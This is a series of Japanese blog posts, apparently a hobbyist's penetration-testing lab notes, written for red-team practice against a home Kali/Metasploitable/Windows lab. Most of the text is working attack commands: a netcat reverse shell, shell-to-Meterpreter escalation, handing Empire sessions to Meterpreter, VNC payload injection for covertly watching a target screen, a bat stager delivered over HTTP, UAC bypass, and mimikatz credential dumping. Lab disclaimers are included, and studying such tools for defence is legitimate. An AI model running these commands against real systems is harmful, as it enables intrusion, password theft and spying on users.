とある親父の侵入実験【NetcatからMeterpreterへ】
今日のお題は「Netcat」
Netcatは、Unix系OSコマンドラインアプリケーションの一つ。TCPやUDPのパケットを読み書きするバックエンドとして機能するツールで、ネットワークを扱う万能ツールとして知られる。後にWindows版なども登場している。
と、ウィキペディアでは紹介されているペネトレーションテストでは、何かとお世話になっている通信用のアプリケーション
これまでも、イベント等で脆弱性を見つけて、exploitしてみたらncで接続されたなんてことがありました。でも、やっぱりmeterpreterで操作できると便利なんだよね
(俺自身のレベルがまだまだ低いからw)
てか、そんなわけでnetcatで接続したセッションをmeterpreterへエスカレーションする手段についてまとめてみたいと思う
準備したもの
環境(仮想環境)
- Kali Linux(192.168.1.100)
- Metasploitable2 (192.168.1.200)
1 接続
まず、Kali側でポートを指定して待ち受けしてやります。
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > run
これで実行すると待ち受け状態になる
そうしたら次はMetasploit側へ
metasploitable側からncコマンドを使ってKaliへ接続をします
nc 攻撃側IPアドレス 待受ポート番号 -e /bin/sh
nc 192.168.1.200 4444 -e /bin/sh
そうするとKali側では
metasploitable側からの接続を受けてCommand Shellでのセッションが開く
ここで「control + z」を押してセッションをバックグラウンドへ移行する
Background session 1? [y/N] y
もとのコンソールに戻ってきたら一度「session」コマンドで確認
2 昇格
次にmeterpreterへエスカレーションするモジュールをポストしてやる
msf exploit(handler) > use post/multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > set session 1
session => 1
msf post(shell_to_meterpreter) > run
payloadが送信され今度はmeterpreterでのセッションが開いたことが確認できる
「session」コマンドで確認
「session -i 2」で、meterpreterセッションに接続
見事にmeterpreterでmetasploitableに接続できている!
3 結論
なんでこんなことをやったかというと、ここ最近のインシデントレスポンス系のイベントに参加した際に、ncで接続まではこじつけたのにそのあとファイルを奪取できなかったとか、対象端末の情報を搾取できなかったことが何度かありました。そんな時、レベルの低い自分としては「あー、meterpreterで接続とかできたらよかったのに(T . T)」
まぁレベル高い人からすると「ncコマンドが使える時点でなんでもできるよw」って笑われるんですけどね・・・。
とりあえず、俺の中でのnetcatへのリベンジ完了!!
とある親父の侵入実験【Empire:帝国の目?鷹の目?】
今回は、とあるシナリオに基づいて実施します。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
「レッドチームとしては、なんとしてもブルーチームの操作画面を覗き見たい!これまで利用した標的型攻撃で得たブルーチームとのバックドアを利用して画面を盗み出せ!」
という命令が出たのでやってみます。
途中までの手順に関しては前々回の「皇帝との共闘」と一緒なんで、その後から書きます。
監視モジュール準備
現在接続されているセッションにVNCモジュールを送り込んでやる。
msf exploit(handler) > use post/windows/manage/payload_inject
msf post(payload_inject) > set payload windows/vncinject/reverse_tcp
payload => windows/vncinject/reverse_tcp
msf post(payload_inject) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf post(payload_inject) > set session 1
session => 1
msf post(payload_inject) > set handler true
handler => true
準備ができたら実行
msf post(payload_inject) > exploit
色々と流れると・・・
こんな感じに標的PCとの間にVNCで接続することができる。
相手との間の回線速度にもよるけど、案外快適に盗み見することが可能になりますw
「これで、ブルーチームの動向を確認することができる!」
とある親父の侵入実験【Empire:帝国と共闘】
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
前回までEmpireを利用した簡単な紹介を書きました。今回は、これまでお世話になったMetasploitととのコラボを描いてみたいと思います。
準備したもの
環境(仮想環境)
1 接続
Windowsとの接続のウンヌンカンヌンは端折ります。
現在、標的となるWindows端末と接続ができている状態(前回と同じ感じ)になっている。
次にmeterpreterとの接続に使用するリスナーを用意してやります。
(Empire: listeners) > set Name meterpreter
(Empire: listeners) > set Port 8888
(Empire: listeners) > set Type meter
(Empire: listeners) > execute
ここまでで下ごしらえ完了
2 譲渡
まずはEmpire側で現在接続している端末に接続しmeterpreterをinjectionする準備を施す。エージェントモードに移行して接続している端末にインタラクトする。
(Empire: agents) > interact FZWBYTCSG1NH3P42
そして、shellcodeをinjectしてmeterpreterへリバース接続するように指定する。
(Empire: FZWBYTCSG1NH3P42) > injectshellcode meterpreter
設定情報を確認するとリバース接続用のIPアドレスとポート番号を欲しがっているので与えてやります。また合わせてPayloadも少し変更を加えます。
(Empire: code_execution/invoke_shellcode) > set Lhost 192.168.1.100
(Empire: code_execution/invoke_shellcode) > set Lport 8888
(Empire: code_execution/invoke_shellcode) > set Payload reverse_http
これでEmpire側は準備完了。今の接続に対してペイロードを走らせたらmetasploit側へペイロードを送り、「meterpreterリスナー」で待ち受けたポートで受け取るという手筈になっている
3 共闘
次にMetasploit側の設定を行う。
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf exploit(handler) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf exploit(handler) > set LPORT 8888
LPORT => 8888
msf exploit(handler) > set exitonsession false
とりあえずMeterpreter側で待ち受けてリバース接続するように指定する。接続先は当然Empireで用意した「meterpreterリスナー」
で、ここまで設定したらmetasploitは走らせて待機。
msf exploit(handler) > exploit -j
さぁ、共闘の準備は整った!
Empireへ戻り実行してみよう!!
(Empire: code_execution/invoke_shellcode) > execute
Empire側でJobが走ると・・・
見事にmeterpreter側でsessionが、確立する。
ここからは慣れ親しんだMeterpreterが相手をしてくれるということになるのである。
Metasploitにしか出回っていないようなコードをどうしても試したいときは、こういった手段を使うことでEmpireのSessionをMeterpreterへ渡すことができるということを覚えていてほしい。
とある親父の侵入実験【Empire:帝国の力 後編】
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
とりあえず続きします。
前回までに、Empireで作成したbatファイルをWindowsに渡して起動。見事にリバース接続が成功した状態で終わりました。
こんな感じで、相手の情報がほぼほぼ丸見え。usernameからhostname、OSもわかってたw
次は、この端末のパスワードを奪取しようと思います。Windowsのパスワードを取ると行ったらmimikatz。このツールが有名であって尚且つ、このEmpireとの相性がいい(俺の勝手な想像w)というわけでパスワードの奪取までやってみよう!
5 パスワード奪取
上図の状態でmimikazを実行するモジュールを選択する。
(Empire: TPESSRK3BLUPTA4G) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > info
mimikazのlogonpasswordを割り出すモジュールを呼び出したところ。今回は、特に設定を変えることなくこのまま実行
見事にエラー!!
このモジュールを動かすには、高い権限がいるっぽい(適当な意訳)
ってことでUACをbypassしてみる。
(Empire: credentials/mimikatz/logonpasswords) > usemodule privesc/bypassuac
ここではリスナーの指定が必須項目なのでリスナーを指定して実行。
(Empire: privesc/bypassuac) > set Listener test
(Empire: privesc/bypassuac) > execute
[>] Module is not opsec safe, run? [y/N] y
実行するとJobが始まって・・・
新エージェントが追加される。
このエージェントを確認すると
2段目に新しく追加されているのが確認できる。そして、Usernameを見てみると新しく追加された方には「*」が付加されているのが確認できる。そこで、今度は新しいエージェントにインタラクトしてみる。
(Empire: agents) > interact EBGZFMZ4EVCTBBSA
同じ端末であることは確認できるのだが一番下の項目「high_integrity」をみると0から1に変更されている。この状態で先ほど失敗したmimikazのモジュールを実行してみる。
(Empire: EBGZFMZ4EVCTBBSA) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > execute
しばらくするとJobが始まって・・・
見事に取れましたw
Username : Victim
Password : password
6 結論
このEmpireはMetasploitに取って代わるツールではないけど、個人を狙った標的型攻撃では、とても便利なツールが用意されていて「標的型攻撃演習」というシナリオではとても便利そう。でも、使い方を間違えるととても危険なツールであることには間違いないと思った。今後もこのEmpireを使った攻撃シナリオについて検証してみたい。
とある親父の侵入実験【Empire:帝国の力 前編】
はい、久しぶりにペネトレします。散々紹介してきたEmpireってツールを使って対象端末のパスワードを調べてみようかと思います。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
準備したもの
- MacBook Pro
- ダークサイドに堕ちたフォース
環境(仮想環境)
1 待受準備
まずは、Kali側でEmpireを起動しリスナーモードを立ち上げる。
(Empire) > listeners
(Empire: listeners) >
(Empire: listeners) > info
infoコマンドで見るとこんな感じ。今回は何も変更せずにこのまま「test」って名前のリスナーを作る。
このまま実行
(Empire: listeners) > execute
「list」で確認すると上図のようになってる。これで待ち受け完了。
2 侵入準備
次にこのリスナーに接続に来るファイルを作成する。macroにしたりexeにしたりと色々できるけど今回はお手軽なbatファイルを作成する。
(Empire: listeners) > usestager launcher_bat (リスナーの名前:今回はtest)
(Empire: stager/launcher_bat) > info
とりあえずこんな感じになります。これもこのままのデフォルト設定で作成します。
(Empire: stager/launcher_bat) > execute
/tmp配下に作成された様子。
とりあえず今回は、こいつをWebサーバを立ち上げてデリバリーする。
python -m SimpleHTTPServer 80
3 配達・実行
今度はWindows側でブラウザを立ち上げて先ほど立ち上げたWebサーバにアクセスする。
真ん中あたりに作成したbatがあるので、これをダウンロードして実行
とりあえず「実行」する。
4 侵入完了
Kali側に戻って確認するとリバース接続があるのが確認できる。
(Empire: stager/launcher_bat) > agents
エージェントモードに切り替えることで、端末から接続があるのが確認できる。次にこの端末にインタラクトする。
(Empire: agents) > interact (セッションID:TPESSRK3BLUPTA4G)
(Empire: TPESSRK3BLUPTA4G) > info
無事に侵入できたところで一旦終了w
とある親父の侵入実験【Empire:帝国の変遷】
このEmpireってツールって意外とコマンド多いのよね。
とりあえず勝手にモード分けして見た!モードの名称は、本当に勝手に決めただけなので苦情の類は一切受け付けませんw
まずはメインメニューモード
一番最初のメイン画面から選べるコマンド群。ここからリスナーモードやエージェントモードに移行します。
次がリスナーモード
メインメニューモードで「listeners」と入力するとリスナーモードへ移行する。Empireで使用するリスナーに関する設定をすることが出来る。既に対象からのリバース接続がある場合については「agents」コマンドでエージェントモードへ移行する。
次がエージェントモード
リバース接続があった端末を掌握し、モジュールを使用したり端末にインタラクトしたりする。
エージェントモードからのインタラクトモード
端末に完全に入り込んだ状態というのか、端末にだいぶ深く侵入している状態と考えている。かなりやれることが増えている。
最後がモジュールモード
各モードで実は利用できる専用のモジュールを選択した場合に表示されるモジュールモード。「info」コマンドで必要な設定を確認して「set」コマンドを使用して値を設定して「execute」で実行。ここら辺の流れはモジュールモードに限ることなく似たような感じなったいる。
なんか、間違いや指摘があったらお願いしまーすw
とある親父の侵入実験【Empire:帝国の君臨w】
久しぶりのブログネタ。
ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。
今回は、Youtube見てたら見つけた「Empire」ってのを使ってみることにした。
Empire・・・「皇帝」よ!
「Empire」はここでは皇帝と解釈しないで帝国と解釈するのが正解みたいです(2017/11/03修正)
だから、「退かぬ、媚びぬ、省みぬ!」の人が異常なく頭をよぎりましたが、全く関係ありません。
久しぶりに書くから書きっぷりが昔と違うとかはなしでお願いします。
1・やること
まずはKaliを立ち上げてGithubから落としてこよう
git clone https://github.com/EmpireProject/Empire.git
落としてきたらsetupにあるinstall.shを叩いてやるとインスコ完了
2・起動
empireってのがあるのでそいつを起動する
./empire
起動したらこんな画面
3・作戦開始
ここでコマンドを入れるんだけどとりあえず
> listeners
これでリスナーモードになる(詳しいことは後日)
ここで待ち受けるための設定を記述してあげる
そしたら
> execute
実行できた感じなら以下のコマンドで確認できる
> list
次に本当は色々やりたいけど今日は、手間を省いて今回作成したリスナーに接続するpowershellを書き出してもらってそれをvictimとなるwindowsにコピペ。とりあえずempireの能力の確認っていうことで・・・
まずはpowershellの発行
> launcher test(testはリスナーの名前)
で、この長いのをコピーしてWindowsの Cmdに貼り付けて実行
こうしてやると・・・
kali側では
接続が始まった旨が伝達される
そして
> agents
コマンドを叩くと接続されている端末を確認できる。
この状態で
> interact KGDPYTHTNCN44WV3(接続時に端末に振られた名称)
とりあえず今日のところは情報はこんな感じ